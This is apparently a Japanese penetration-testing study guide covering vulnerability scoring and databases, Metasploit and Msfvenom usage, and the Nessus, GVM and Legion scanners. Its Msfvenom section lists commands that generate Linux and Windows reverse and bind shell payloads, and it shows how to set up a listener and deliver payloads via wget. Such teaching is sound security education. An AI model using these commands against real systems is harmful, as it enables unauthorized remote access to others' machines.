コンテンツにスキップ

7. 脆弱性の調査

7.1. 脆弱性の基礎知識

7.1.1. 脆弱性とは

サイバーセキュリティにおける脆弱性はシステムやアプリケーションの設計、実装、動作における弱点や欠陥として定義されている。 攻撃者はこれらの弱点を悪用して、不正な情報にアクセスしたり、不正なアクションを実行したりする可能性がある。

「脆弱性」という用語はサイバーセキュリティ団体の数だけ定義があるが、NISTは脆弱性を「情報システム、システム セキュリティ手順、内部統制、または実装における脆弱性であり、脅威源によって悪用または引き起こされる可能性があるもの」と定義している。

脆弱性には5つの主要なカテゴリがある。

脆弱性の箇所 説明
OS この種の脆弱性はOS内で見つかり、多くの場合は権限昇格が発生する
設定ファイルの誤設定 この種の脆弱性は正しく構成されていないアプリケーションまたはサービスに起因する
弱い認証情報/デフォルトの認証情報 容易に推測できるログイン情報のサイトなどがこれにあたる
アプリケーションのロジック これらの脆弱性はアプリケーションの設計が適切でなかったために発生する。認証メカニズムの不十分な実装など
人間の脆弱性 人間の行動を悪用する脆弱性のこと。たとえばフィッシングメールなど

7.1.2. 脆弱性のスコアリング

脆弱性管理は組織が直面する脅威 (脆弱性) を評価、分類し、最終的に修復するプロセスといえる。 ネットワークやコンピュータシステムのすべての脆弱性にパッチを適用して修正することはおそらく不可能であり、場合によってはリソースの無駄になってしまう。

ある調査によると最終的に悪用されるのは脆弱性は全体のうち約2%だと言われている。 脆弱性の対処には最も危険な脆弱性に対処し、攻撃がシステムの悪用に使用される可能性を減らすことが重要となる。

脆弱性スコアリングは脆弱性管理において重要な役割を果たし、脆弱性がネットワークまたはコンピュータシステムに与える可能性のある潜在的なリスクと影響を判断するために使用される。

CVSS

CVSS(Common Vulnerability Scoring System)は2005年に導入された脆弱性スコアリングのための脆弱性評価システム。 CVSSにより脆弱性の深刻度を同一基準化で定量的に比較することが可能となっている。

評価基準は以下の3つある。

  • 基本評価基準 ... 脆弱性時代の特性評価
  • 現状評価基準 ... 上記に配布パッチの効果を含めた評価
  • 環境評価基準 ... ユーザへの影響度を含めた評価

CVSSの算出はコチラを使用して行える

VPR

VPRは脆弱性管理におけるより最新のフレームワークで脆弱性管理の業界のプロバイダであるTenableにより開発された。 CVSSのように影響で脅威を測るのではなく、脆弱性が組織自体にもたらすリスクに重点を置いて脆弱性にスコアが与えられる

VPRはスコアリングにおいてもかなり動的であり、脆弱性がもたらすリスクは時間の経過とともにほぼ毎日変化する可能性がある。 なおVPRは商用プラットフォームの一部でのみ利用できる。

7.1.3. 脆弱性データベース

脆弱性を公開しているサービスやサイトには以下のようなものがある。

JVN / JVN iPedia

日本国内の脆弱性管理基盤。JPCERT/CTTとIPAが共同運営している。

https://jvn.jp/

NVD

NVD(全国脆弱性データベース)は公的に分類されたすべての脆弱性をリストする Web サイト。 CVE形式(CVE-[年]-[ID])で検索ができる。

https://nvd.nist.gov/

Exploit DB

Exploit-DBはペネトレーションテスタにとって評価の際に非常に役立つリソースで、Exploit-DB は、ソフトウェアやアプリケーションの名前、作成者、バージョンの下に保存されたソフトウェアやアプリケーションのエクスプロイトを提供する。

Exploit-DBを使用すると、特定の脆弱性を悪用するために使用されるコードのスニペット(PoC)を探すことができる

https://www.exploit-db.com/

7.2. 脆弱性の悪用

7.2.1. 脆弱性調査の方法

脆弱性の調査は手動でスキャンする方法と自動でスキャンする方法がある。 自動でスキャンを行う場合は脆弱性スキャナと呼ばれるものを使用する。 具体的にはNessusMetasploitなどのツールがある。

自動スキャンの特徴は以下の通り。

  • 高速スキャンが行える
  • 結果を組織で共有しやすい
  • 全ての脆弱性を検出できるわけではない
  • 大量のトラフィックとログを生成する

アプリケーションやプログラムに含まれる脆弱性は以下の通り。

脆弱性 説明
セキュリティ設定のミス セキュリティの設定ミスには開発者の監視による脆弱性が含まれる。例えばアプリケーションと攻撃者間のメッセージでサーバー情報が公開されるなど
アクセス制御のバイパス 攻撃者が本来アクセスできないはずのアプリケーションの部分にアクセスできる場合に発生する
安全ではない逆シリアル化 アプリケーション全体で送信されるデータの安全でない処理のこと
コードの注入 攻撃者がアプリケーションに悪意のあるデータを入力できる場合、インジェクションの脆弱性が存在する

7.2.2. 手動による脆弱性の発見

Rapid7

Rapid7はエクスプロイトデータベースとしても機能する脆弱性研究データベース。 このサービスを使用すると、脆弱性の種類 (アプリケーションやOSなど) でフィルタリングできる。

https://www.rapid7.com/db/

Rapid7には人気のあるMetasploitツールを使用してアプリケーションを悪用するための手順が含まれている

GitHub

GitHubはソフトウェア開発者向けのコード共有/管理サービス。 セキュリティの観点ではある脆弱性のPoC (概念実証) を GitHub に保存して共有し、このコンテキストでそれをエクスプロイトデータベースとして使用できる。

https://github.com/

キーワード検索で「PoC」や「CVE」を含むように検索すると発見できる場合がある。

Searchsploit

SearchsploitはKali Linuxなどの一般的な侵入テストディストリビューションで利用できるツールでExploit-DBのオフラインコピーといえる。 アプリケーション名や脆弱性の種類で searchsploit を検索可能。

# 検索
searchsploit [検索名]
# 検索をタイトルのみに制限
searchsploit -t [タイトル]

# データベースの更新
searchsploit -u

7.3. Metasploit

Metasploitは最も広く使用されている脆弱性悪用フレームワーク。 Metasploitは情報収集から脆弱性の悪用まで、侵入テスト作業のすべての段階をサポートする。

Metasploitには以下の2つのバージョンがある。

  • Metasploit Pro
    • タスクの自動化と管理を容易にする商用バージョン
    • このバージョンにはGUIが搭載
  • Metasploit Framework
    • CUIから動作するオープンソースバージョン

Metasploitフレームワークは、情報収集、スキャン、脆弱性の悪用、脆弱性の悪用の開発、脆弱性の悪用後の処理などを可能にするツールのセットといえる。 Metasploitフレームワークの主な用途は侵入テストだが、脆弱性の研究やエクスプロイトの開発にも役立つ

7.3.1. Metasploitの概念

Metasplotはmsfconsoleコマンドで対話できる。

msfconsole

またMetasplotを理解するのに必要な概念として以下のようなものがある。

  • エクスプロイト ... ターゲット システムに存在する脆弱性を利用するコード。
  • 脆弱性 ... ターゲット システムに影響を与える設計、コーディング、またはロジックの欠陥。脆弱性が悪用されると、機密情報が漏洩したり、攻撃者がターゲット システム上でコードを実行したりする可能性のこと
  • ペイロード .... ペイロードは、ターゲット システム上で実行されるコードのこと

Metasploitのモジュール一覧

Metasploitには付属する攻撃プログラムやツールがモジュールという形で内蔵されている。

モジュール 説明
exploits 脆弱性を利用してペイロードを実行できるようにするモジュール
auxiliary スキャン/バージョン検出/ユーザ列挙/システム列挙など初期攻撃をサポートするモジュール
post パスワードの奪取、キーロガーの設置、システム内情報収集など、侵入後の攻撃を補助するモジュール
payloads Exploitの攻撃が実行した場合、直ちに攻撃を実行するコード。遠隔操作セッション確立、攻撃補助のモジュール
encoders ペイロードをアルゴリズムで処理するモジュール、ペイロード隠蔽に使用
nops NOPを生成するモジュール。NOPは何もしないアセンブリで実行ファイルの空白を埋めるのに使用
evasion アンチウィルスソフトを回避するためのモジュール

Auxiliaryモジュールの確認

Metasploitで利用できるスキャナー、クローラー、ファザーなどのサポートモジュールはauxiliary/以下にある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/

Encodersモジュールの確認

エンコーダーを使用するとエクスプロイトとペイロードをエンコードできる。 なおウィルス検知システムが対象システムにある場合はチェックが実施される可能性があるため、エンコーダの成功率は制限される可能性がある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/

Evasionモジュールの確認

Evasionモジュールはウイルス対策ソフトウェアを回避するためのモジュール。 これを使用することでウィルス検知システムをバイパスできる可能性がある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/

Explotsモジュールの確認

ターゲットシステムごとにエクスプロイトが分類されている。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/

NOPSモジュールの確認

NOPはなにも行わないモジュールだが、一貫したペイロード サイズを実現するためのバッファとして使用できる

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/

Payloadsモジュールの確認

ペイロードはターゲット システム上で実行されるコードのこと。 エクスプロイトはターゲットシステムの脆弱性を利用しますが、望ましい結果を達成するにはペイロードが必要となる。

またペイロードは以下の動作を行う。

  • シェルの取得
  • ターゲットシステムへのマルウェアまたはバックドアのロード
  • コマンドの実行

なおペネトレーションテストでシステム侵入が行える安全なPoCの使用と報告ではターゲットのcalc.exe(電卓)が起動できることを示すのが一般的である。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/
ディレクトリ 説明
adapters/ 単一のペイロードをラップして異なる形式に変換する
singles/ 実行するために追加のコンポーネントをダウンロードする必要のない自己完結型ペイロードがある
stagers/ Metasploitとターゲットシステム間の接続チャネルのセットアップを担当
stages/ ステージャーによってダウンロードされる

Postモジュールの確認

Postモジュールは侵入テストプロセスの最終段階であるエクスプロイト後の後処理において役立つモジュール。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 post/

7.3.2. Msfconsole

msfconsoleはmetasploitと対話できるコマンド。

msfconsole

7.3.3. モジュールの操作方法

コマンドプロンプトのモード

Metasploitにはコマンドプロンプトのモードがいくつかある

  • msf6 > ... msfconsoleプロンプトモード
    • モジュールの確認や選択などが行えるモード
  • msf6 exploit(windows/smb/ms17_010_eternalblue) > ... コンテキストコマンドプロンプトモード
    • モジュールを使用することを決定し、setコマンドを使用してそれを選択すると表示される
    • ここではコンテキスト固有のコマンドを使用できる
  • meterpreter > ... Meterpreterプロンプトモード
    • このモードはMeterpreterエージェントがターゲットシステムにロードされ、再び接続されたことを意味する
    • ここで Meterpreter 固有のコマンドを使用できる

msfconcoleの操作方法

使用する可能性のあるmsfconsoleのサブコマンドを以下に記載する。

# ヘルプの表示
msf6 > help [サブコマンド]
# コマンド履歴の表示
msf6 > history
# モジュールの表示
msf6 > show < exploits | auxiliary | payload | encoders >
# モジュールの検索
msf6 > search [名称(cveなど)]
msf6 > search type:payload platform:linux
# モジュールの情報確認
msf6 > info [モジュールパス]
# モジュールの使用の決定
msf6 > use [モジュールパス]

コンテキストコマンドプロンプトの使用

以下コマンドを使用して設定/攻撃を行う。

# エクスプロイトの使用
msf6 > use exploit/[エクスプロイト]
# 実行に必要な必要なパラメータをリスト表示
msf6 exploit([エクスプロイト]) > show options
# オプションのパラメータを設定
msf6 exploit([エクスプロイト]) > set パラメータ名 # オプションのパラメータ設定(すべてのモジュール共通)
msf6 exploit([エクスプロイト]) > setg パラメータ名 # 設定したパラメータの全削除
msf6 exploit([エクスプロイト]) > [unset|unsetg] all
# 実行に必要な必要なペイロードをリスト表示
msf6 exploit([エクスプロイト]) > show payloads
# 設定したペイロードの削除
msf6 exploit([エクスプロイト]) > unset payload
# エクスプロイトの実行
msf6 exploit([エクスプロイト]) > exploit -z
# モジュール情報の表示
msf6 exploit([エクスプロイト]) > info
# コンテキストから離れる
msf6 exploit([エクスプロイト]) > back
msf6 > 

モジュールの使用手順は以下の通り。

  1. msfconsoleプロンプトモードでuse [モジュール]を使用しコンテキストコマンドプロンプトモードに入る
  2. show optionsでパラメータを確認しながらset パラメータ名 値で必要最低限の値を設定する
  3. exploit -zコマンドでエクスプロイトの実行をする
  4. Session N created in the background.と表示されればターゲット システムと Metasploit の間にセッション生成完了
  5. backgroundコマンドでmsfconsole プロンプトに戻る(sessionsコマンドで接続中セッションの確認可能)
  6. sessions -i [番号]でセッションに対話する(sessions -hコマンドでセッションのヘルプ)

Metasploitデータベースの利用

Metasploitデータベースは複数のターゲットが存在する場合にプロジェクト管理を簡素化し、パラメーター値を設定する際の混乱を避けるための機能。 使用のための準備方法は以下の通り。

  1. PostgreSQLデータベースの起動(systemctl start postgresql)
  2. Metasploit データベースを初期化(msfdb init)
  3. msfconsoleでMetasploitの起動しdb_statusでステータス確認
  4. workspaceコマンドで使用するワークスペースを確認可能(-aで追加,-dで削除、-hでヘルプ)
  5. ワークスペースの選択はworkspace [ワークスペース名]で行う

データベースを利用したワークフロー例は以下の通り

  1. use auxiliary/scanner/smb/smb_ms17_010
  2. hosts -RでRHOSTSを設定
  3. show optionsset [パラメータ] [値]で設定
  4. exploitで実行

Metasploitのセッション切り替え

backgroundコマンドで現在のセッションがバックグラウンドに回される。 またsession -iコマンドでセッションの確認。session -i [番号]でセッションに戻れる。

リバースシェルの待ち受け

Metasploitでリバースシェルを待ち受けるにはexploit/multi/handlerを使用する。 このモジュールはバインドシェルでターゲット端末に接続したり、リバースシェルの接続待ち受けに使用される。

msf6 > use exploit/multi/handler
msf6 >> set payload <ペイロード>
msf6 >> set LHOST <攻撃機のIP>
msf6 >> set LPORT <ポート番号>

show optionsで設定を確認し、exploitコマンドで待ち受け(実行)できる。

7.3.4. Msfvenom

Msfvenomはペイロードを生成できるもの。 Msfvenom を使用すると、Metasploit フレームワークで利用可能なすべてのペイロードにアクセスできるようになる。

Msfvenom を使用すると様々な形式 (PHP、exe、dll、elf など) および様々なターゲット システム (Apple、Windows、Android、Linux など) 用のペイロードを作成できる。

msfvenom -l payloads 

よく使うペイロード

以下ペイロードはpayload以下にある。

ペイロード 説明
windows/meterpreter/reverse_tcp windows用リバースシェルペイロード
linux/x86/meterpreter/reverse_tcp x86アーキテクチャのLinuxのリバースシェルペイロード
windows/meterpreter/bind_tcp windows用バインドシェルペイロード
linux/x86/meterpreter/bind_tcp x86アーキテクチャのLinuxのバインドシェルペイロード
windows/meterpreter/reverse_https Windowsシステムにバックドアを設置するためのペイロード
windows/shell_reverse_tcp Windowsシステムにバックドアを設置するためのペイロード
php/meterpreter/reverse_tcp WebアプリケーションやWebサーバーにバックドアを設置
php/meterpreter/jsp_shell_reverse_tcp WebアプリケーションやWebサーバーにバックドアを設置

ペイロードの作成

基盤となるペイロードをsearch type:payload~などで見つけたら、info <Payloadパス>でパラメータを確認し設定を行う。 なお作成したペイロードはターゲットで実行する必要がある。つまりターゲットにアクセス(簡易WEBサーバなどを立てて)してwgetなどでDLさせる。

msfvenom --payload <Payloads以下のペイロードパス> --<パラメータ> .... 

よく使うパラメータは以下の通り。

パラメータ 説明
--payload ペイロードのパス
--platform ペイロードが実行されるプラットフォーム(Linux,windowsなど)
--arch ペイロードが実行されるアーキテクチャ(x86など)
--format 出力ファイル形式(elfなど)
--out 出力ファイルのパス(絶対パス)
LHOST 接続先IPアドレスの指定
LPORT 接続先が待ち受けているポート番号を指定する

ペイロードの実行

作成したペイロードはターゲット端末で以下のように実行する。

./<ペイロード名>

Metapreterセッション

MetapreterセッションはMetaSploitペイロードとMetasploitで確立されたセッションを指す。 各権限でのLinuxコマンドが使用できるようになる。

よく使うシェルペイロードの作成

# =================
# Linux
# =================
# Binary
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f elf > shell86.bin
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f elf > shell64.bin
msfvenom -p linux/x86/shell_bind_tcp LPORT=<リッスンポート> -f elf > bind86.bin
msfvenom -p linux/x64/shell_bind_tcp LPORT=<リッスンポート> -f elf > bind64.bin
# Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f py
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f py
msfvenom -p linux/x86/shell_bind_tcp LPORT=<リッスンポート> -f py
msfvenom -p linux/x64/shell_bind_tcp LPORT=<リッスンポート> -f py
# =================
# Windows
# =================
# Binary
msfvenom -p windows/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f exe > shell86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f exe > shell64.exe
msfvenom -p windows/windows/shell_bind_tcp LPORT=<リッスンポート> -f exe > bind86.exe
msfvenom -p windows/x64/shell_bind_tcp LPORT=<リッスンポート> -f exe > bind64.exe

7.4. 脆弱性評価ツール

7.4.1. Legion

半自動のペネトレーションテストフレームワーク。 検出、偵察、脆弱性評価タスクを実行できる。

起動方法

Kali Linuxの場合以下方法で起動をする。

「Kali アイコン」=>「Information Gatahering」=>「Vulnerability Analysis」=>「Legion (root)」

Scan/Bruteセクション

Legionの入力セクションにはScanとBruteの2つがある。

  • Scanセクション
    • ホスト検出
    • 情報収集
    • 脆弱性の検出
  • Bruteセクション
    • ブルートフォースアタック

Easy/Hardセクション

ScanタブのHostsセクションではIP,ホスト名などを入力できる。 またEasy/Hardのモード選択が行われる。

  • Easyモード
    • Nmap機能
    • パフォーマンス機能
  • Hardモード
    • Port Scan Options
    • Host Discovery Options
    • Additional arguments

7.4.2. Nessus

Nessusはペンテストプラットフォーム。

起動方法

# 起動
sudo /bin/systemctl start nessusd.service
# 停止
sudo /bin/systemctl stop nessusd.service

https://localhost:8834/にアクセスする。

Nessusによる基本的な脆弱性スキャン

  1. MyScansページが表示されたら「New scan」または「Creare a new scan」をクリック
  2. ScanTemplatesページが表示されたら「Basic Network Scan」をクリック
  3. NewScan/BasicNetworkScanページのSettingsタブのNameフィールドに任意の意名前を設定
  4. TargetsフィールドにはターゲットのIPアドレスを入力しSaveをクリック
  5. MyScansページでMoreボタンをクリックし、Launchを選択するとスキャンが開始される

Nessusによる詳細な脆弱性スキャン

  1. MyScansページが表示されたら「New scan」または「Creare a new scan」をクリック
  2. ScanTemplatesページが表示されたら「Advanced Scan」をクリック
  3. NewScan/BasicNetworkScanページのSettingsタブのNameフィールドに任意の意名前を設定
  4. TargetsフィールドにはターゲットのIPアドレスを入力しSaveをクリック
  5. Discovery > Host Discovery にて検出方法を設定できる
  6. Discovery > Port Scanning を選択しオプションを設定できる
  7. ASSESMENT > General を選択し「Perform thorough tests...」をONにする
  8. ASSESMENT > Brute Forceを選択し、Oracle DatabaseのTest default accounts(slow)とHydraのAlways enable Hydra(slow)をONにする
  9. ASSESMENT > Web Application を選択しScan Web applications, Follow dynamically generated pagesをONにする
  10. MyScansページでMoreボタンをクリックし、Launchを選択するとスキャンが開始される

7.4.3. GVM

GVMはOpenVASの後継ツールで脆弱性評価に使用できるフレームワーク。 使用環境にあるシステムを調べてサービスと脆弱性を確認する。

インストールとセットアップ

sudo apt install gvm -y

その他のコマンドは以下の通り。

# パスワードのリセット
sudo -u _gvm gvmd --user=admin --new-password=new_password
# GVMが正常にセットアップされているか確認
sudo gvm-check-setup
# 正常にセットアップされている場合は以下コマンドで入力をプロセス停止
sudo gvm-stop
# フィードの更新
sudo greenbone-feed-sync

起動方法

sudo gvm-start

GVMによる基本的な脆弱性スキャン

  1. 「Kali アイコン」=>「Vulnerability Analysis」=>「gvm start」で起動
  2. ユーザ名とパスワードの入力を行いSign Inをクリック
  3. Scans > Tasksをクリック
  4. Task WizardをポイントにTask Wizardを選択し、IP address or hostnameにターゲットのIPアドレスを入力
  5. Start Scanをクリックするとスキャンが開始される
  6. Resultsタブをクリックすると脆弱性のリストが表示される
  7. GVMの終了は 人型アイコン > Log Outを選択でWEBUIの終了が行え、sudo gvm-stopでGVMを完全終了できる

GVMによる詳細な脆弱性スキャン

カスタムスキャンは以下のように行える。

  1. 「Kali アイコン」=>「Vulnerability Analysis」=>「gvm start」で起動
  2. ユーザ名とパスワードの入力を行いSign Inをクリック
  3. Configuration > Targets を選択し、Clone Targetをクリックしクローンを作成する
  4. Edit Targetをクリックし編集する
  5. この段階で資格情報(IDやパスワード)が判明していれば深いレベルの評価も行える
  6. Configuration > Credentials を選択しNew Credentialで入力できる
  7. Configuration > Scan Configsを選択でスキャン構成を確認する
  8. Full and fastの右端のActions列のClone Scan Configをクリックしスキャン構成詳細を見る
  9. Scans > Taskを選択し、New Taskをさらに選択、Nameに任意のタスク名を入力しScan TragetsとScan Configで設定を選択する
  10. Saveボタンを押し、Tasks画面の下部に表示されるActions列で右やじるアイコンを押すとスキャンが開始される